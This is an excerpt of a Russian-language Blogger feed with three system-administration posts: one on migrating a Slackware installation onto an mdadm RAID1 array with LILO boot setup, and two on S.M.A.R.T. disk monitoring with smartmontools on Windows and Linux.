type='text'>Перенос установленной Slackware на программный raid1-массив</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Описание задачи&lt;/h3&gt;

&lt;p&gt;Условия:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Имеется два одинаковых по размеру, пустых диска &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; соответственно.&lt;/li&gt;
&lt;li&gt;Имеется третий диск, например &lt;tt&gt;/dev/sdc&lt;/tt&gt;, с установленной операционной системой slackware.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;На основе &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; создать &lt;a href="http://ru.wikipedia.org/wiki/RAID#RAID_1"&gt;raid-массив первого уровня&lt;/a&gt; &lt;tt&gt;/dev/md0&lt;/tt&gt;. Затем перенести на &lt;tt&gt;/dev/md0&lt;/tt&gt; операционную систему и настроить ее загрузку.&lt;/p&gt;


&lt;p&gt;Дополнительные условия:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;На рабочем диске существует два раздела &amp;mdash; корневой и подкачка.&lt;/li&gt;
&lt;li&gt;В качестве корневой файловой системы используется reiserfs.&lt;/li&gt;
&lt;li&gt;Предполагается, что используется стандартное ядро для slackware версии 2.6.xx, т.е. минимальная версия &amp;mdash; Slackware&amp;nbsp;12. Однако, если очень хочется, существует возможность &lt;a href="http://xeim.blogspot.com/2009/05/slackware.html"&gt;установки&lt;/a&gt; ядра из стандартных пакетов от новых версий slackware на более старые версии этой операционной системы.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Перед началом необходимо убедиться, что в рабочей slackware установлена утилита &lt;a href="http://ru.wikipedia.org/wiki/Mdadm"&gt;mdadm&lt;/a&gt; для управления программными raid-массивами. При ее отстутствии нужно установить пакет mdadm, который включется в состав дистрибутива начиная с Slackware&amp;nbsp;10.&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Решение задачи&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Шаг 1.&lt;/em&gt; Загрузка с внешнего носителя.&lt;/p&gt;

&lt;p&gt;Загружаемся с &lt;a href="http://www.sysresccd.org/"&gt;SystemResсueCD&lt;/a&gt; или c &lt;a href="http://www.slax.org/"&gt;Slax&lt;/a&gt; или чего-нибудь еще, чтобы получить полный доступ ко всем дискам и ни один из них не был бы текущим загрузочным.&lt;/p&gt;


&lt;p&gt;&lt;em&gt;Шаг 2.&lt;/em&gt; Создание таблицы разделов.&lt;/p&gt;

&lt;p&gt;Сначала, с помощью команды:&lt;/p&gt;

&lt;pre&gt;cfdisk /dev/sda&lt;/pre&gt;

&lt;p&gt;создаем следующие разделы на первом пустом диске:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;tt&gt;/dev/sda1&lt;/tt&gt;&lt;/strong&gt; &amp;mdash; Раздел под raid-массив. Отводим под него большую часть диска. Установить признак &amp;laquo;загрузочный&amp;raquo;. Задать тип раздела &amp;laquo;Linux raid autodetect&amp;raquo; (код fd).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;tt&gt;/dev/sda2&lt;/tt&gt;&lt;/strong&gt; &amp;mdash; Раздел под подкачку. Отводим под него половину от необходимого размера подкачки. Задать тип раздела &amp;laquo;Linux swap&amp;raquo; (код 82).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Обращаю внимание, что нельзя полностью заполнять разделами все доступное пространство диска. Т.к., несмортя на указанный одинаковый размер дисков, фактический их размер у разных производителей может не совпадать.&lt;/p&gt;

&lt;p&gt;Пример того, что получилось:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sda
   Device  Boot   Start     End      Blocks  Id  System
/dev/sda1  *          1  115498  927737653+  fd  Linux raid autodetect
/dev/sda2        115499  116471    7815622+  82  Linux swap&lt;/pre&gt;

&lt;p&gt;Затем копируем таблицу разделов с первого диска на второй:&lt;/p&gt;

&lt;pre&gt;sfdisk -d /dev/sda | sfdisk /dev/sdb&lt;/pre&gt;

&lt;p&gt;Убеждаемся, что таблицы разделов на дисках &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; идентичны:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sda /dev/sdb
   Device  Boot   Start     End      Blocks  Id  System
/dev/sda1  *          1  115498  927737653+  fd  Linux raid autodetect
/dev/sda2        115499  116471    7815622+  82  Linux swap

   Device  Boot   Start     End      Blocks  Id  System
/dev/sdb1  *          1  115498  927737653+  fd  Linux raid autodetect
/dev/sdb2        115499  116471    7815622+  82  Linux swap&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 3.&lt;/em&gt; Создание raid-массива.&lt;/p&gt;

&lt;p&gt;Сначала, на всякий случай, очищаем из разделов возможные следы предыдущих raid-массивов:&lt;/p&gt;

&lt;pre&gt;mdadm --zero-superblock /dev/sda1
mdadm --zero-superblock /dev/sdb1&lt;/pre&gt;

&lt;p&gt;Теперь, собственно, создаем raid-массив:&lt;/p&gt;

&lt;pre&gt;mdadm --create /dev/md0 --level=1 --raid-disks=2 /dev/sda1 /dev/sdb1&lt;/pre&gt;

&lt;p&gt;Здесь запустится процесс синхронизации двух дисков, входящих в массив, который можно отслеживать с помощью команды:&lt;/p&gt;

&lt;pre&gt;cat /proc/mdstat&lt;/pre&gt;

&lt;p&gt;Этот процесс никак не ограничивает работу с уже созданным массивом. Т.е. блочное устройство &lt;tt&gt;/dev/md0&lt;/tt&gt; уже доступно и с ним можно работать. Можно даже перезагружать компьютер. Но, конечно, в полноценную работу raid-массив встанет самостоятельно, когда синхронизация будет завершена.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 4.&lt;/em&gt; Копирование операционной системы.&lt;/p&gt;

&lt;p&gt;Форматируем разделы:&lt;/p&gt;

&lt;pre&gt;mkfs.reiserfs /dev/md0
mkswap /dev/sda2
mkswap /dev/sdb2&lt;/pre&gt;

&lt;p&gt;Монтируем raid-массив:&lt;/p&gt;

&lt;pre&gt;mkdir /mnt/md0
mount /dev/md0 /mnt/md0&lt;/pre&gt;

&lt;p&gt;Монтируем раздел с рабочей системой:&lt;/p&gt;

&lt;pre&gt;mkdir /mnt/sdc1
mount /dev/sdc1 /mnt/sdc1&lt;/pre&gt;

&lt;p&gt;Копируем содержимое рабочей системы на raid-массив:&lt;/p&gt;

&lt;pre&gt;cp -aT /mnt/sdc1 /mnt/md0&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 5.&lt;/em&gt; Настройка скопированной системы.&lt;/p&gt;

&lt;p&gt;Сохраняем конфигурацию raid-массива:&lt;/p&gt;

&lt;pre&gt;mdadm -D --scan &gt;&gt; /mnt/md0/etc/mdadm.conf&lt;/pre&gt;

&lt;p&gt;Редактируем в файле &lt;tt&gt;/mnt/md0/etc/fstab&lt;/tt&gt; строчки монтирования корневого раздела и раздела подкачки:&lt;/p&gt;

&lt;pre&gt;/dev/md0   /     reiserfs  defaults        1 1
/dev/sda2  swap  swap      pri=1,defaults  0 0
/dev/sdb2  swap  swap      pri=1,defaults  0 0&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 6.&lt;/em&gt; Настройка загрузки с raid-массива.&lt;/p&gt;

&lt;p&gt;Редактируем &lt;tt&gt;/mnt/md0/etc/lilo.conf&lt;/tt&gt;, заменяем строчку:&lt;/p&gt;

&lt;pre&gt;boot = /dev/XXXN&lt;/pre&gt;

&lt;p&gt;на:&lt;/p&gt;

&lt;pre&gt;boot = /dev/md0&lt;/pre&gt;

&lt;p&gt;И добавляем строчку:&lt;/p&gt;

&lt;pre&gt;raid-extra-boot=mbr&lt;/pre&gt;

&lt;p&gt;Далее действуем в зависимости от &lt;a href="http://xeim.blogspot.com/2008/04/slackware-12.html"&gt;типа стандартного ядра slackware&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 6.1.&lt;/em&gt; Используется huge ядро.&lt;/p&gt;

&lt;p&gt;В &lt;tt&gt;/mnt/md0/etc/lilo.conf&lt;/tt&gt; добавляем строки:&lt;/p&gt;

&lt;pre&gt;image = /boot/vmlinuz-huge-smp-2.6.27.7-smp
  root  = /dev/md0
  label = gener-raid
  read-only&lt;/pre&gt;

&lt;p&gt;Версия ядра может быть другой, в зависимости от используемой версии slackware.&lt;/p&gt;

&lt;p&gt;Запускаем установку загрузчика lilo на оба диска в raid-массиве:&lt;/p&gt;

&lt;pre&gt;chroot /mnt/md0 /sbin/lilo&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 6.2.&lt;/em&gt; Используется generic ядро.&lt;/p&gt;

&lt;p&gt;Создаем файл &lt;tt&gt;/mnt/md0/etc/mkinitrd.conf&lt;/tt&gt;, содержащий строки:&lt;/p&gt;

&lt;pre&gt;CLEAR_TREE="1"
OUTPUT_IMAGE="/boot/initrd-generic-2.6.27.7-smp-raid.gz"
KERNEL_VERSION="2.6.27.7-smp"
MODULE_LIST="reiserfs"
ROOTDEV="/dev/md0"
RAID="1"&lt;/pre&gt;

&lt;p&gt;Генерируем initrd-файл:&lt;/p&gt;

&lt;pre&gt;chroot /mnt/md0 /sbin/mkinitrd -F&lt;/pre&gt;

&lt;p&gt;В &lt;tt&gt;/mnt/md0/etc/lilo.conf&lt;/tt&gt; добавляем строки:&lt;/p&gt;

&lt;pre&gt;image = /boot/vmlinuz-generic-smp-2.6.27.7-smp
  initrd = /boot/initrd-generic-2.6.27.7-smp-raid.gz
  root   = /dev/md0
  label  = gener-raid
  read-only&lt;/pre&gt;

&lt;p&gt;Запускаем установку загрузчика lilo на оба диска в raid-массиве:&lt;/p&gt;

&lt;pre&gt;chroot /mnt/md0 /sbin/lilo&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 7.&lt;/em&gt; Проверка.&lt;/p&gt;

&lt;p&gt;Выключаем компьютер. Отсоединяем теперь уже не нужный диск /dev/sdc. Включаем компьютер и убеждаемся что загрузка  операционной системы происходит нормально с любого диска из raid-массива.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-1491508206309813628?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/1491508206309813628/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=1491508206309813628' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1491508206309813628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1491508206309813628'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2010/02/slackware-raid1.html' title='Перенос установленной Slackware на программный raid1-массив'/><author><name>xeim</name><uri>http://www.blogger.com/profile/01596021427561543562</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-1701890214646615819</id><published>2010-02-01T14:45:00.013+10:00</published><updated>2010-02-02T15:57:36.908+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='smart'/><title type='text'>Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Windows</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Данная статья является продолжением предыдущей статьи в моем блоге &amp;laquo;&lt;a href="http://xeim.blogspot.com/2010/01/smart-linux.html"&gt;Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Linux&lt;/a&gt;&amp;raquo;.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 

&lt;h3&gt;Установка&lt;/h3&gt;

&lt;p&gt;Скачайте и установите следующее программное обеспечение (все бесплатно, все opensource):&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;&lt;strong&gt;&lt;a href="http://sourceforge.net/projects/smartmontools/files/"&gt;smartmontools&lt;/a&gt;&lt;/strong&gt;&lt;/dt&gt;
&lt;dd&gt;Собственно сам пакет программ для мониторинга данных smart. Включает в себя консольную утилиту smartctl и системную службу smartd.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;strong&gt;&lt;a href="http://gsmartcontrol.berlios.de/"&gt;GSmartControl&lt;/a&gt;&lt;/strong&gt;&lt;/dt&gt;
&lt;dd&gt;Гуевый фронтенд к утилите smartctl. Позволит быстро определить, поддерживают ли ваши жесткие диски smart, а также просмотреть smart-данные.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;strong&gt;&lt;a href="http://sourceforge.net/projects/blat/"&gt;blat&lt;/a&gt;&lt;/strong&gt;&lt;/dt&gt;
&lt;dd&gt;Утилита для отправки почтовых сообщений в windows из командной строки с некрасивым названием :) . Необходима, если вы хотите получать уведомления об ошибках по электронной почте. Для установки необходимо поместить файл blat.exe из скачанного zip-архива в директорию, куда был установлен smartd.exe (по умолчанию C:\Program Files\smartmontools\bin\).&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;


&lt;h3&gt;Проверка доступности данных через GSmartControl&lt;/h3&gt;

&lt;p&gt;Запускаем только что установленную программу GSmartControl. Если в главном окне программы видим установленные в системе жесткие диски, а также установленную галочку &amp;laquo;Enable SMART&amp;raquo; значит все хорошо:&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_7dv3t2lo9Ro/S2ZdDT73dsI/AAAAAAAAAAM/3Qk9rSmQ4Mc/s1600-h/02_main_window_2.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 345px; height: 288px;" src="http://1.bp.blogspot.com/_7dv3t2lo9Ro/S2ZdDT73dsI/AAAAAAAAAAM/3Qk9rSmQ4Mc/s400/02_main_window_2.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5433132311941445314" /&gt;&lt;/a&gt;


&lt;p&gt;При двойном клике на диске открывается окно с несколькими вкладками. Первая вкладка&amp;nbsp;&amp;mdash; общая информация о диске:&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2Zdfd22cvI/AAAAAAAAAAU/DiozlMRuzi4/s1600-h/03_properties_info.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 324px;" src="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2Zdfd22cvI/AAAAAAAAAAU/DiozlMRuzi4/s400/03_properties_info.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5433132795641098994" /&gt;&lt;/a&gt;



&lt;p&gt;Вторая вкладка &amp;mdash; список smart-атрибутов и их значений:&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2ZdzFBrspI/AAAAAAAAAAc/rdUVomyuWKA/s1600-h/04_prperties_attributes.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 371px;" src="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2ZdzFBrspI/AAAAAAAAAAc/rdUVomyuWKA/s400/04_prperties_attributes.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5433133132573029010" /&gt;&lt;/a&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 


&lt;h3&gt;Настройка почтовой утилиты blat&lt;/h3&gt;

&lt;p&gt;Подчеркиваю, данный шаг не является необходимым, если не желаете получать почту от smartd, его можно пропустить.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 1&lt;/em&gt;. Прописываем в реестр параметры вашего smtp сервера и почтового адреса:&lt;/p&gt;

&lt;pre&gt;&amp;gt; C:
&amp;gt; cd &amp;quot;C:\Program Files\smartmontools\bin&amp;quot;
&amp;gt; blat.exe -install smtp.mycompany.ru mycomp@mycompany.ru&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 2&lt;/em&gt;. Проверяем что доставка почты заработала:&lt;/p&gt;

&lt;pre&gt;&amp;gt; echo test | blat.exe -to admin@mycompany.ru&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;


&lt;h3&gt;Настройка и запуск службы мониторинга smartd&lt;/h3&gt;

&lt;p&gt;Полностью аналогично linux-версии, настройка демона smartd осуществляется через редактирование файла smartd.conf (по умолчанию C:\Program Files\smartmontools\bin\smartd.conf). Даже названия дисков указываются в linux-формате: /dev/sda и т.п.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 1&lt;/em&gt;. Найти и закомментировать строчку:&lt;/p&gt;

&lt;pre&gt;DEVICESCAN&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 2&lt;/em&gt;. Для каждого устройства добавить строчку, вида:&lt;/p&gt;

&lt;pre&gt;/dev/sda -a -s (S/../../(1|2|3|4|5|6)/01|L/../../7/01 -R 194 -m admin@mycompany.ru -M diminishing&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 3&lt;/em&gt;. Устанавливаем демон мониторинга smartd как службу:&lt;/p&gt;

&lt;pre&gt;&amp;gt; C:
&amp;gt; cd &amp;quot;C:\Program Files\smartmontools\bin&amp;quot;
&amp;gt; smartd.exe install&lt;/pre&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2ZeOBsPmDI/AAAAAAAAAAk/WRPNtowMsjo/s1600-h/08_smartd_service.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 163px;" src="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2ZeOBsPmDI/AAAAAAAAAAk/WRPNtowMsjo/s400/08_smartd_service.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5433133595534268466" /&gt;&lt;/a&gt;

&lt;p&gt;&lt;em&gt;Шаг 4&lt;/em&gt;. Запускаем оснастку управления службами services.msc:&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2Zel0JElII/AAAAAAAAAA0/ANSe2_teaOY/s1600-h/06_run_services.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 347px; height: 179px;" src="http://4.bp.blogspot.com/_7dv3t2lo9Ro/S2Zel0JElII/AAAAAAAAAA0/ANSe2_teaOY/s400/06_run_services.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5433134004213945474" /&gt;&lt;/a&gt;

&lt;p&gt;&lt;em&gt;Шаг 5&lt;/em&gt;. Находим локальную службу &amp;laquo;SmartD Service&amp;raquo; и запускаем ее. При перезагрузке она будет запускаться автоматически.&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_7dv3t2lo9Ro/S2Zeburgl1I/AAAAAAAAAAs/g9shzM-scfI/s1600-h/07_services_2.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 167px;" src="http://3.bp.blogspot.com/_7dv3t2lo9Ro/S2Zeburgl1I/AAAAAAAAAAs/g9shzM-scfI/s400/07_services_2.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5433133830949082962" /&gt;&lt;/a&gt;

&lt;p&gt;Информация о запуске и работе службы &amp;laquo;SmartD Service&amp;raquo; попадает в системный &amp;laquo;Event Log&amp;raquo;, посмотреть ее можно через оснастку &amp;laquo;Event Viewer&amp;raquo; (запускать eventvwr.msc). Следует искать события в локальном журнале &amp;laquo;Application&amp;raquo; с полем источника равным &amp;laquo;smartd&amp;raquo;.&lt;/p&gt;

&lt;p&gt;Все, smart-мониторинг жестких дисков в windows заработал. При возникновении проблем сообщения будут попадать с системный журнал windows. А также сообщения будут приходить по почте на электронный адрес системного администратора, если это было настроено.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-1701890214646615819?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/1701890214646615819/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=1701890214646615819' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1701890214646615819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1701890214646615819'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2010/02/smart-windows.html' title='Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Windows'/><author><name>xeim</name><uri>http://www.blogger.com/profile/01596021427561543562</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_7dv3t2lo9Ro/S2ZdDT73dsI/AAAAAAAAAAM/3Qk9rSmQ4Mc/s72-c/02_main_window_2.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-5983666813467319530</id><published>2010-01-19T16:20:00.021+10:00</published><updated>2010-02-01T14:45:13.773+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='smart'/><title type='text'>Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Linux</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;S.M.A.R.T.&lt;/strong&gt; &amp;mdash; технология самодиагностики и предсказания возможного отказа жесткого диска. Уже много лет встраивается практически во все производимые HDD.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Программное обеспечение&lt;/h3&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Основной пакет для работы со smart-данными под linux и под windows &amp;mdash; &lt;strong&gt;&lt;a href="http://sourceforge.net/apps/trac/smartmontools/"&gt;smartmontools&lt;/a&gt;&lt;/strong&gt;. Состоит из программ:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
  &lt;p&gt;&lt;strong&gt;smartctl&lt;/strong&gt; &amp;mdash; утилита командной строки для:&lt;/p&gt;
  &lt;p&gt;просмотра текущих данных smart;&lt;br&gt;
  включения/выключения сбора данных smart;&lt;br&gt;
  запуска тестов самодиагностики диска вручную;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
  &lt;p&gt;&lt;strong&gt;smartd&lt;/strong&gt; &amp;mdash; демон/системная служба для:&lt;/p&gt;
  &lt;p&gt;записи в системный журнал изменений в данных smart;&lt;br&gt;
  уведомления по электронной почте об ошибках smart;&lt;br&gt;
  запуска тестов самодиагностики по расписанию&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Дополнительно, для утилиты smartctl есть хороший кросплатформерный фронтенд &lt;strong&gt;&lt;a href="http://gsmartcontrol.berlios.de/"&gt;GSmartControl&lt;/a&gt;&lt;/strong&gt;, рекомендую.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Что содержит smart&lt;/h3&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Просмотреть сразу все данные smart устройства &lt;tt&gt;/dev/sda&lt;/tt&gt; можно с помощью команды:&lt;/p&gt;
&lt;pre&gt;smartctl -a /dev/sda&lt;/pre&gt;

&lt;p&gt;Эти самые данные состоят из:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Общая информация: производитель, модель, серийный номер, версия прошивки и др.&lt;/p&gt;
&lt;pre&gt;smartctl -i /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Дополнительная информация об устройстве. Например, какие тесты диагностики поддерживаются и сколько они занимают времени&lt;/p&gt;
&lt;pre&gt;smartctl -c /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Состояние &amp;laquo;здоровья&amp;raquo; диска. Представляет собой попытку предсказать отказ жесткого диска в ближайшие 24 часа.&lt;/p&gt;
&lt;pre&gt;smartctl -H /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
  &lt;ul&gt;
  &lt;p&gt;&lt;a href="http://sourceforge.net/apps/trac/smartmontools/wiki/TocDoc#SMARTAttributes"&gt;Smart aтрибуты&lt;/a&gt; и их значения. Полный список зависит от конкретной модели диска. Разделяются на:&lt;/p&gt;
  &lt;li&gt;критические &amp;mdash; частота возникновения ошибок чтения, количество перемещенных секторов и др.&lt;/li&gt;
  &lt;li&gt;некритические &amp;mdash; общее время работы диска в часах и др.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre&gt;smartctl -A /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Журнал ошибок, произошедших во время работы диска.
&lt;pre&gt;smartctl -l error /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Журнал тестов самодиагностики.&lt;/p&gt;
&lt;pre&gt;smartctl -l selftest /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Как настроить мониторинг&lt;/h3&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Настройка демона smartd осуществляется через редактирование файла /etc/smartd.conf:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 1&lt;/em&gt;. Найти и закомментировать строчку:&lt;/p&gt;

&lt;pre&gt;DEVICESCAN&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 2&lt;/em&gt;. Для каждого устройства добавить строчку, вида:&lt;/p&gt;

&lt;pre&gt;/dev/sda -a -s (S/../../(1|2|3|4|5|6)/01|L/../../7/01 -R 194 -m admin@mycompany.ru -M diminishing&lt;/pre&gt;

&lt;p&gt;&lt;br&gt;Описание используемых опций:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;tt&gt;-a&lt;/tt&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;включение большинства возможностей мониторинга: проверка "здоровья" диска, отслеживание изменений всех атрибутов, отслеживание неудачных тестов диагностики.&lt;br&gt;&lt;br&gt;&lt;p&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;tt&gt;-s (S/../../(1|2|3|4|5|6)/01|L/../../7/01)&lt;/tt&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;расписание запуска тестов диагностики диска в виде регулярного выражения. В данном случае:&lt;br&gt;
в 1 час ночи c понедельника по субботу будет запускаться краткий тест диска;&lt;br&gt;
в 1 час ночи в воскресенье будет запускаться полный тест диска.&lt;br&gt;&lt;br&gt;&lt;p&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;tt&gt;-m admin@mycompany.ru&lt;/tt&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;при возникновении ошибок уведомить об этом письмом по указанному адресу. Для успешной отправки письма должна быть правильно настроена пересылка локальной почты на почтовый сервер. Для этого можно использовать, например, &lt;a href="http://xeim.blogspot.com/2008/09/nullmailer.html"&gt;nullmailer&lt;/a&gt;.&lt;br&gt;&lt;br&gt;&lt;p&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;tt&gt;-M diminishing&lt;/tt&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;периодически повторять отправку письма с сообщениями об ошибке.&lt;br&gt;&lt;br&gt;&lt;p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Запуск демона smartd осуществляется обычным для вашего дистрибутива образом.&lt;/p&gt;

&lt;h4&gt;Slackware&lt;/h4&gt;

&lt;p&gt;Для запуска демона выполнить в командной строке:&lt;/p&gt;
&lt;pre&gt;smartd&lt;/pre&gt;

&lt;p&gt;Для автозагрузки демона при старте системы, открыть файл /etc/rc.d/rc.M, найти и расскомментировать в нем следующие строчки:&lt;/p&gt;
&lt;pre&gt;#if [ -x /usr/sbin/smartd ]; then
#  /usr/sbin/smartd
#fi&lt;/pre&gt;

&lt;h4&gt;Ubuntu&lt;/h4&gt;

&lt;p&gt;Для разрешения запуска демона smartd, открыть файл /etc/default/smartmontools, найти и расскомментировать в нем следующюю строчку:&lt;/p&gt;
&lt;pre&gt;#start_smartd=yes&lt;/pre&gt;

&lt;p&gt;Для запуска демона выполнить:&lt;/p&gt;
&lt;pre&gt;/etc/init.d/smartmontools start&lt;/pre&gt;

